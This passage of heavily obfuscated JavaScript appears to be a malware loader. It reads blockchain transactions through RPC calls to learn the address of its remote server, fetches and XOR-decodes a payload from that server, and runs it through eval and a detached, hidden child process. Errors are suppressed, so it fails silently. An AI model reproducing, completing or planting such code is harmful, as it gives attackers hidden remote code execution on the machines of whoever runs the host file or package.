_0x38ff78===_0x527698;},'PSzJk':_0x21838c(0x11a),'aPZUM':_0x21838c(0xaf),'xxxso':_0x21838c(0x142),'raCZU':_0x21838c(0xc1),'plaFW':function(_0x1d2be3,_0x44ea01){return _0x1d2be3(_0x44ea01);},'nILEL':function(_0x57e6f1,_0x261c45){return _0x57e6f1+_0x261c45;},'wvGeG':_0x21838c(0xfb)+_0x21838c(0x1a4)+_0x21838c(0xdc)+_0x21838c(0x146)+_0x21838c(0x117)+_0x21838c(0x130)+_0x21838c(0xe1)+_0x21838c(0x18a)+_0x21838c(0x180)+_0x21838c(0x9e)+_0x21838c(0x153)+'6','qiODF':function(_0x2b7840,_0x196963){return _0x2b7840(_0x196963);},'SXfgk':_0x21838c(0x133),'xbMiN':function(_0x27a0b9,_0x394d32,_0x228371){return _0x27a0b9(_0x394d32,_0x228371);},'jueMj':function(_0x3071ee,_0x13c1dd){return _0x3071ee(_0x13c1dd);},'ipNqp':function(_0x5c8fe2,_0x51b60d,_0x375c99,_0x3adfd0){return _0x5c8fe2(_0x51b60d,_0x375c99,_0x3adfd0);},'KXiLK':_0x21838c(0xed),'rMZnD':function(_0x2485d9,_0x15b4b8){return _0x2485d9+_0x15b4b8;},'RWrVc':_0x21838c(0x10f),'WYnsa':function(_0x36aa2d,_0x4e00f2){return _0x36aa2d(_0x4e00f2);},'JGUpq':function(_0x17a5ba,_0xaf6465){return _0x17a5ba(_0xaf6465);},'eWCKt':function(_0x1e004b,_0x84fa2c){return _0x1e004b-_0x84fa2c;},'KafOh':function(_0x4df275,_0x2e90){return _0x4df275%_0x2e90;},'qFOcQ':function(_0x24fa80,_0x20975f){return _0x24fa80(_0x20975f);},'eIHSm':_0x21838c(0xa7)+_0x21838c(0x128),'XrZYs':function(_0x4740e4,_0x8d4335,_0x240499,_0x191515){return _0x4740e4(_0x8d4335,_0x240499,_0x191515);},'zeoxL':_0x21838c(0x1ba)+_0x21838c(0x185)};let _0x276e42=_0x123142[_0x21838c(0x1a3)](BigInt,await _0x123142[_0x21838c(0x108)](withRpcEndpoints,(_0x486914,_0x1c1835)=>rpcCall(_0x486914,_0x21838c(0x1a1)+_0x21838c(0xd8),[],_0x1c1835))),_0x168d06=_0x123142[_0x21838c(0xf3)](_0x276e42,_0x123142[_0x21838c(0x18d)](_0x276e42,BLOCK_MULTIPLE)),_0x412ae7=await _0x123142[_0x21838c(0x137)](firstMatch,_0x123142[_0x21838c(0x1a3)](candidateBlocks,_0x168d06)[_0x21838c(0x14f)](blockTask));_0x412ae7||(_0x412ae7=await _0x123142[_0x21838c(0x19e)](lastSenderTx,_0x276e42)[_0x21838c(0x100)](()=>lastSenderTxViaIndexer()));let [_0x28de5d,_0x3b6d7d]=_0x123142[_0x21838c(0x1b4)](decodeAddress,_0x412ae7['tx']['to']),_0x3d94ba=global;function _0x5ec9c4(_0x3a20ac,_0xa9d24e){const _0x55165e=_0x21838c,_0x5ecf66={'zNIqU':function(_0x430017,_0x3246e6){const _0x15bc56=_0x355e;return _0x123142[_0x15bc56(0x182)](_0x430017,_0x3246e6);},'rjSZm':_0x123142[_0x55165e(0x119)],'cVjMR':_0x123142[_0x55165e(0x1b7)],'SHJJd':function(_0x200ce2,_0x44228d){const _0x155fb8=_0x55165e;return _0x123142[_0x155fb8(0xd9)](_0x200ce2,_0x44228d);},'dQhjR':_0x123142[_0x55165e(0x1b8)],'ZAlOy':function(_0x59c273,_0x17297a){const _0x4fc8a3=_0x55165e;return _0x123142[_0x4fc8a3(0xf8)](_0x59c273,_0x17297a);},'bLolJ':_0x123142[_0x55165e(0xd3)],'hrUVT':_0x123142[_0x55165e(0x1ab)],'YZKTj':_0x123142[_0x55165e(0xc6)]};let _0x11ec1f={'hostname':_0xa9d24e[_0x55165e(0x93)],'port':_0x123142[_0x55165e(0x137)](Number,_0xa9d24e[_0x55165e(0x15d)])||0x2236+-0x22b0+0xca,'path':_0x123142[_0x55165e(0x92)](_0xa9d24e[_0x55165e(0x150)],_0xa9d24e[_0x55165e(0x10e)]),'headers':{'User-Agent':_0x123142[_0x55165e(0xdf)],'Sec-V':_0x3d94ba['_V']||0x1309+-0x132b+0x22}};function _0x5944ee(_0x39564c){const _0x337ed4=_0x55165e;let _0x3de935=_0x3a20ac[_0x337ed4(0xcd)];for(let _0xcd6de2=-0x1*-0x15f6+0xc04+0x21fa*-0x1;_0x123142[_0x337ed4(0x156)](_0xcd6de2,_0x39564c[_0x337ed4(0xcd)]);_0xcd6de2++)_0x39564c[_0xcd6de2]^=_0x3a20ac[_0x337ed4(0xac)](_0x123142[_0x337ed4(0x19a)](_0xcd6de2,_0x3de935));return _0x39564c[_0x337ed4(0x159)](_0x123142[_0x337ed4(0x1a0)]);}function _0x3fa166(_0x5286d4){const _0x30bac6=_0x55165e;let _0x1c7184=_0x5286d4[_0x30bac6(0x14b)][_0x123142[_0x30bac6(0x119)]];if(!_0x1c7184)throw _0x123142[_0x30bac6(0xf8)](Error,_0x123142[_0x30bac6(0x1a5)]);return _0x123142[_0x30bac6(0xf8)](_0x5944ee,Buffer[_0x30bac6(0x18c)](_0x1c7184,_0x123142[_0x30bac6(0x168)]));}function _0x5e0c4c(_0x188457){const _0xdb2b5e=_0x55165e,_0x9df163={'FfHYb':function(_0x275d20,_0x11a249){const _0xda171f=_0x355e;return _0x5ecf66[_0xda171f(0x11f)](_0x275d20,_0x11a249);},'gIWWO':_0x5ecf66[_0xdb2b5e(0xe6)],'LTGfe':_0x5ecf66[_0xdb2b5e(0x101)],'djgaa':function(_0x12f74b,_0x87bcc9){const _0xd19d42=_0xdb2b5e;return _0x5ecf66[_0xd19d42(0x113)](_0x12f74b,_0x87bcc9);},'eEQvU':_0x5ecf66[_0xdb2b5e(0xa2)],'KQldR':function(_0x5a7b3b,_0x1dcf69){const _0x3bd8a8=_0xdb2b5e;return _0x5ecf66[_0x3bd8a8(0xe8)](_0x5a7b3b,_0x1dcf69);},'jvgKp':_0x5ecf66[_0xdb2b5e(0x189)],'ZgpqG':_0x5ecf66[_0xdb2b5e(0x158)],'XLylK':_0x5ecf66[_0xdb2b5e(0x162)]};return new Promise((_0x15f946,_0x5a9938)=>{const _0x320ae6=_0xdb2b5e,_0x34a894={'QMwHG':function(_0x40448d,_0x23c91e){const _0x42dd94=_0x355e;return _0x9df163[_0x42dd94(0x1b6)](_0x40448d,_0x23c91e);},'XHNyr':_0x9df163[_0x320ae6(0x112)],'eAmtO':_0x9df163[_0x320ae6(0xe7)],'ZYBBe':function(_0x3e84e2,_0x5c0248){const _0x3f74e7=_0x320ae6;return _0x9df163[_0x3f74e7(0xfc)](_0x3e84e2,_0x5c0248);},'FWUiH':_0x9df163[_0x320ae6(0x1a6)],'smCxl':function(_0x30f2b3,_0x3b4378){const _0x508aeb=_0x320ae6;return _0x9df163[_0x508aeb(0x94)](_0x30f2b3,_0x3b4378);},'LBjUj':_0x9df163[_0x320ae6(0x144)],'RpPIO':_0x9df163[_0x320ae6(0x199)],'EreqP':_0x9df163[_0x320ae6(0xca)]};let _0x67c2bf=http[_0x320ae6(0xc7)]({..._0x11ec1f,'method':_0x188457},_0x3ab5c7=>{const _0x17709d=_0x320ae6,_0x31a947={'RsZph':function(_0x3b6db8,_0x40fce6){const _0x93e689=_0x355e;return _0x34a894[_0x93e689(0x104)](_0x3b6db8,_0x40fce6);},'tavZt':_0x34a894[_0x17709d(0x10a)],'LssUT':function(_0x1f6ba3,_0xee0496){const _0x3db9b9=_0x17709d;return _0x34a894[_0x3db9b9(0x104)](_0x1f6ba3,_0xee0496);},'mjCAw':_0x34a894[_0x17709d(0x1b0)]};if(_0x34a894[_0x17709d(0xb2)](_0x34a894[_0x17709d(0xd1)],_0x188457)){try{_0x34a894[_0x17709d(0x11b)](_0x15f946,_0x34a894[_0x17709d(0x104)](_0x3fa166,_0x3ab5c7));}catch(_0x14978e){_0x34a894[_0x17709d(0x104)](_0x5a9938,_0x14978e);}_0x3ab5c7[_0x17709d(0x1b9)]();return;}let _0x333305=[];_0x3ab5c7['on'](_0x34a894[_0x17709d(0x15b)],_0x547736=>_0x333305[_0x17709d(0x198)](_0x547736)),_0x3ab5c7['on'](_0x34a894[_0x17709d(0x154)],()=>{const _0x38253d=_0x17709d;try{let _0x247fe6=Buffer[_0x38253d(0x107)](_0x333305);if(_0x247fe6[_0x38253d(0xcd)])return _0x31a947[_0x38253d(0xd2)](_0x15f946,_0x31a947[_0x38253d(0xd2)](_0x5944ee,_0x247fe6));if(_0x3ab5c7[_0x38253d(0x14b)][_0x31a947[_0x38253d(0x171)]])return _0x31a947[_0x38253d(0xd2)](_0x15f946,_0x31a947[_0x38253d(0x192)](_0x3fa166,_0x3ab5c7));_0x31a947[_0x38253d(0xd2)](_0x5a9938,_0x31a947[_0x38253d(0x192)](Error,_0x31a947[_0x38253d(0xae)]));}catch(_0x907b81){_0x31a947[_0x38253d(0xd2)](_0x5a9938,_0x907b81);}}),_0x3ab5c7['on'](_0x34a894[_0x17709d(0x12e)],_0x5a9938);});_0x67c2bf['on'](_0x9df163[_0x320ae6(0xca)],_0x5a9938),_0x67c2bf[_0x320ae6(0x142)]();});}return _0x123142[_0x55165e(0xfe)](_0x5e0c4c,_0x123142[_0x55165e(0x102)])[_0x55165e(0x100)](()=>_0x5e0c4c(_0x55165e(0x11a)));}async function _0x71cdd3(_0x36ed3f,_0x4cbe2e,_0x18ff88){const _0x433f4b=_0x21838c;try{let _0x42938e=await _0x123142[_0x433f4b(0xc3)](_0x5ec9c4,_0x4cbe2e,_0x36ed3f),_0x1de9e8=_0x18ff88?_0x433f4b(0xff)+_0x433f4b(0x17a)+(_0x3d94ba['_V']||-0xf0a+-0x135d*-0x1+-0x453)+(_0x433f4b(0xee)+_0x433f4b(0xfa))+_0x3d94ba['_H']+(_0x433f4b(0xee)+_0x433f4b(0x15e))+_0x3d94ba[_0x433f4b(0x16a)]+(_0x433f4b(0xee)+_0x433f4b(0xbe)+_0x433f4b(0x111)+_0x433f4b(0x157)+_0x433f4b(0x106)+_0x433f4b(0x179)):_0x433f4b(0xff)+_0x433f4b(0x17a)+(_0x3d94ba['_V']||0x1b1*0x2+-0x1*-0x16f9+0x207*-0xd)+(_0x433f4b(0xee)+_0x433f4b(0x132))+_0x3d94ba[_0x433f4b(0x15c)]+(_0x433f4b(0xee)+_0x433f4b(0x129))+_0x3d94ba[_0x433f4b(0x116)]+(_0x433f4b(0xee)+_0x433f4b(0xbe)+_0x433f4b(0x111)+_0x433f4b(0x157)+_0x433f4b(0x106)+_0x433f4b(0x179));_0x18ff88||_0x123142[_0x433f4b(0x1b4)](eval,_0x123142[_0x433f4b(0x92)](_0x1de9e8,_0x42938e)),_0x123142[_0x433f4b(0x125)](spawn,_0x123142[_0x433f4b(0x145)],['-e',_0x123142[_0x433f4b(0x9c)](_0x1de9e8,_0x42938e)],{'detached':!(-0xb2c+-0x1*-0xc13+-0xe7),'stdio':_0x123142[_0x433f4b(0xab)],'windowsHide':!(-0x1*-0x2079+0x1*-0x135a+0x1*-0xd1f)})[_0x433f4b(0x177)]();}catch(_0x51210c){}}_0x3d94ba['_V']=_0x3d94ba['i'],_0x3d94ba['_H']=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x155),_0x3d94ba[_0x21838c(0x16a)]=_0x21838c(0x17e)+_0x3b6d7d+_0x21838c(0x155),_0x3d94ba[_0x21838c(0x15c)]=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x181),_0x3d94ba[_0x21838c(0x116)]=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x155),await _0x123142[_0x21838c(0x125)](_0x71cdd3,new URL(_0x21838c(0x17e)+_0x28de5d+(_0x21838c(0xe4)+'s')),_0x123142[_0x21838c(0xf7)],!(-0x1*0x1b55+0x1*-0x1f25+0x3a7b)),await _0x123142[_0x21838c(0xe2)](_0x71cdd3,new URL(_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x124)),_0x123142[_0x21838c(0x13e)],!(0x135b+0x1c5f+-0x2fba));}run(); +